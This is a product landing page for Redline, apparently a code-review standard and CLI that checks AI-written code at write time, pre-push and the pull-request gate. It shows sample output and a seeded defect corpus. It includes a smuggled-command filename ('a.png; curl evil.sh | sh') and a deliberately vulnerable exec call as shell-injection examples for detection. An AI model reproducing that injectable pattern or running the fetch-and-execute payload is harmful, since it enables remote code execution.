AI writes the code.Redline holds the line.
Redline is the review system your team doesn't have: one written standard that your AI follows while it writes, your machine checks before you push, and the pull request gate checks before merge — and it counts which rules actually catch bugs.
$ npx redlinegate@latest init- 496 rules with permanent ids
- 53 checked without a model
- 20 stacks
- GitHub & Azure DevOps
- MIT
Redline/BLOCKER [javascript/shell-injection]:
A file uploaded as a.png; curl evil.sh | sh runs when the handler resizes it.
execFile('convert', [body.filename, '-resize', '100x100'])
seeded/javascript/seeded-violations.jsAI multiplied how fast we write code.
It did not multiply how fast we can review it.
more code arrivingwhat it costsFaros AI, The AI Productivity Paradox, July 2025
- 43.2M
pull requests merged on GitHub every month, up 23% in a year.
GitHub Octoverse 2025 - 1.7×
as many issues in an AI-co-authored pull request as in a human-only one.
CodeRabbit, State of AI vs Human Code Generation, Dec 2025 - 90%
of engineers use AI at work — and AI adoption still has a negative relationship with delivery stability.
Google DORA, State of AI-assisted Software Development 2025
The risk moved from writing code to reviewing it — and review had no system. Redline is that system.
Not a linter. Not a reviewer.
The system around review: one written standard, applied at the three moments a change passes through.
A linter checks syntax, file by file. Redline's rules include what syntax cannot show: a route with no auth check, input nobody validated, a change unrelated to the pull request. Keep your linter: the standard tells every reviewer to leave its job alone.
Your people and the AI tools you already use still do the reviewing. Redline decides what reviewed means — one rule set, one severity scale, one output format — and holds every reviewer to the same one.
- Less arrives. The AI read the rules before it wrote.
- Facts are settled first. 53 rules are checked with no model, before a person looks.
- Attention goes to judgement. Every finding names its rule, and is counted.
- 01 · while it is written
Your AI follows the rules
redline initrenders the standard into the 5 formats your AI tools already read — only the rules for the stacks this repository uses. - 02 · before you push
You get a list of issues
Ask your assistant for
/redline-review: it replies with every issue, by rule id — or No Redline issues in this change.$ redline review - 03 · before it merges
The gate checks the pull request
redline-gate / gateruns the same standard on every pull request. It starts advisory and blocks only once you promote it. How the gate works →
One repository, start to finish
Every line below is one the CLI prints, laid out and coloured the way it draws them: onboarding, a review before you push, then the check that it all held. The ◇ rows are the questions after you answer them — each one explained in the docs. The two # lines are ours, marking time between runs.
$ npx redlinegate@latest init ████ ████ ███ █ ███ █ █ ████ █ █ █ █ █ █ █ ██ █ █ ████ ███ █ █ █ █ █ ██ ███ █ █ █ █ █ █ █ █ █ █ █ █ ████ ███ ████ ███ █ █ ████ ┌ Redline │ │ ▲ Around ten questions, most already answered. Whatever was detected is preselected, so enter accepts it. The last question can still be a preview that writes nothing. ◇ Which standards apply here? · web-react ◇ Where does this repository live? · GitHub ◇ What runs your pull request checks? · GitHub Actions ◇ Which assistants should read the standards? · copilot, agents, claude ◇ Extra context to render beside the rules · Spec-driven development ◇ What should Redline set up alongside its own checks? · none ◇ What should Redline install? · gate, merge-policy, labels ◇ Where should the merge gate live? · in the organisation ◇ How hard should the check bite? · observe ◇ Add Redline to this project's devDependencies? · yes, pin it ◇ Ready? · Write, commit and open a pull request │ ✓ onboarding this repository profile web-react Files 18 written + .github/copilot-instructions.md + AGENTS.md + CLAUDE.md + .github/workflows/redline.yml Repository settings 7 in place ✓ applied labels label "no-adr" ✓ applied gate wrote .github/pull_request_template.md ✓ applied secret-scanning secret scanning ✓ applied push-protection secret scanning push protection ✓ applied dependency-alerts dependabot alerts (vulnerability alerts) ✓ applied merge-policy branch ruleset ✓ applied repo-property repository property "redline=onboarded" Pull request https://github.com/acme/checkout-service/pull/42 # later, on a feature branch, before pushing $ redline review profile web-react — rules in scope: core, typescript, react src/billing/load.ts:3 Redline/BLOCKER [core/unsafe-assertion]: a double assertion overrides the type checker with no stated reason. Fix the types, or add a `// SAFETY: <why this holds>` comment on this line or the line above. 1 finding(s) that is every rule a checker can decide; the rest of the standard needs a model — run /redline-review in your assistant, or `redline review --engine api` # the gate workflow has since run on PR #42 $ redline verify ok onboarded profile web-react, standards v0.2.2 ok gate-machinery .github/workflows/redline.yml publishes redline-gate / gate ok security-floor security floor enabled ok artifacts-current rendered artifacts match standards v0.2.2
One pull request on redline/onboard. Never a push. Titled chore(redline): onboard to standards v0.2.2 and labelled redline-sync, for the repository's own team to review and merge. Four of the 18 files it writes are shown; it merges into files you already have rather than overwriting them. Every file, and how the merge works →
AI slop looks finished. Redline asks for proof.
AI writes slop: code that compiles, reads well, and proves nothing. 66% of developers surveyed name AI answers that are “almost right, but not quite” as a frustration. Redline's rules ask for evidence instead.
return body as unknown as InvoiceA cast where a parse should be. Wrong data reaches runtime typed as right.
Parse at the boundary — or a // SAFETY: comment saying why the cast holds. core/unsafe-assertion
catch (e) { log(e) } return trueA failure logged, then reported as success.
Handle it where it happened, or let it propagate. core/silent-async-failure
vi.mock('./billing')A test that replaces the code it claims to test, and passes when the wiring breaks.
Inject a real interface and pass a faithful test implementation. typescript/module-mocking
if (user == null) returnA guard against a state the types already rule out — noise that hides real bugs.
Trust the type; guard only at real boundaries. core/unreachable-defensive-guard
class PaymentProviderFactoryAn abstraction with one implementation, for a need nobody has yet.
The smallest change that solves the problem in front of you. core/speculative-abstraction
The same thinking, in all 20 stacks:go/error-laundered-to-niljava/test-without-assertionpython/return-in-finallykotlin/dropped-exception-causecsharp/rethrow-loses-stackswift/concurrency-checking-opt-out
This is what Redline produces
A rule is only worth anything at the moment it catches something. Here is one, on real code from the corpus Redline publishes to be scored against.
seeded/javascript/seeded-violations.jsconst { exec } = require('child_process'); async function handler(req, res) { const body = JSON.parse(req.rawBody); merge(cache, body); exec(`convert ${body.filename} -resize 100x100 out.png`, () => {});
Redline/BLOCKER [javascript/shell-injection]:
body.filename is interpolated into a shell command, so a crafted filename runs arbitrary code. Use execFile('convert', [body.filename, '-resize', '100x100', 'out.png']).
Same rule id whichever tool found it. That's what makes it countable.
BLOCKER is what the standard obliges, not what your repository blocks on: the gate installs advisory — it comments, it stops nothing. Blocking is earned rung by rung on evidence, and given up without asking anyone. The enforcement ladder →
53 rules are decided by a checker, with no model — in redline review, the pre-push hook and the gate, where a false positive is a bug. The other 443 are judged by the AI reviewer you already use, against the same ids. Which rules, and why →
Why you can trust what it says
Every finding is countable
Every finding names a permanent rule id, so redline metrics can count which rules were acted on and which were dismissed. A rule that only makes noise is cut on that evidence, not on argument. What gets measured →
We publish what we're scored against
337 defects are seeded into a public corpus, each marked with the rule that must catch it. Anyone can run a reviewer over it and check the number — results are on the scoreboard. The corpus →
// DO NOT MERGE — Redline validation seed. // Every `SEED n [SEVERITY] (rule-id)` marker must be flagged at that severity or higher, // citing that rule id. Score with scripts/score-seeds.mjs. … // SEED 5 [BLOCKER] (javascript/shell-injection) shell command built by interpolating external input exec(`convert ${body.filename} -resize 100x100 out.png`, () => {});
It stops at the diff
Redline acts on a change while it is still a diff. It does not build, deploy or roll back anything, and its data ends at merge. No servers, no SaaS, no per-seat fee beyond the AI licences you already pay for. Where the line is →
Try it on one repository
npx redlinegate@latest init asks what your repository is, shows you the plan, and offers a preview that changes nothing before the run that does. Choose write, commit and open a pull requestand it opens a single pull request on redline/onboard — it never pushes to your default branch. The gate starts advisory: it comments, it doesn't block. Don't like it? Close the pull request. Nothing was changed. Backing it out →
$ npx redlinegate@latest init- No admin rights needed. An engineer without them still gets everything file-level. The capabilities the token cannot reach come back
denied, are recorded in.redline.json, andredline verifyreports partially onboarded until an administrator enables them — recorded, never silently skipped. That path, step by step → - Your code can stay on your machine. Run the review against a local model and no diff is sent anywhere.
- About ten minutes. One command, one pull request, one review by your own team.
When not to use Redline
Cases where it will not pay for itself. Better found here than in month two.
- One repository, and no AI writing code in it. Redline renders the standard into the files AI tools read, and measures an estate. You would be using neither.
- You are not on GitHub or Azure DevOps.
redline initreads your git remote and supports those two. GitLab and Bitbucket are refused. - A stack outside the 20. You get the core rules, plus whatever you write into this repository's own
.redline/local.mdand then maintain. - You want a blocking gate on day one. Redline installs advisory and makes blocking be earned on recorded evidence, which cannot be hurried.
- You want governance past merge. Build, deploy, incidents, cloud spend: Redline stops at the diff, on purpose.
What to give the agent
Redline reviews the diff. It has no opinion on how the diff gets written — but that is the next question everyone asks, and the answer is public. Skills and agents from skills.sh, sorted onto the eight stages of delivery. None of it is ours; each one installs from its publisher.
Skills
Knowledge the model reads and applies to work already in progress. Nearly free: it loads, it shifts the output, you move on.
npx skills add addyosmani/agent-skillsAgents
The ones that take the wheel — spawn subagents, drive a browser, write artifacts. Costs tokens and wall-clock time, so it needs a job worth handing over.
npx skills add obra/superpowersSkills raise the floor on what gets written. The gate catches what still gets through. Neither replaces the other.
Ship at AI speed.
The line still holds.
$ npx redlinegate@latest init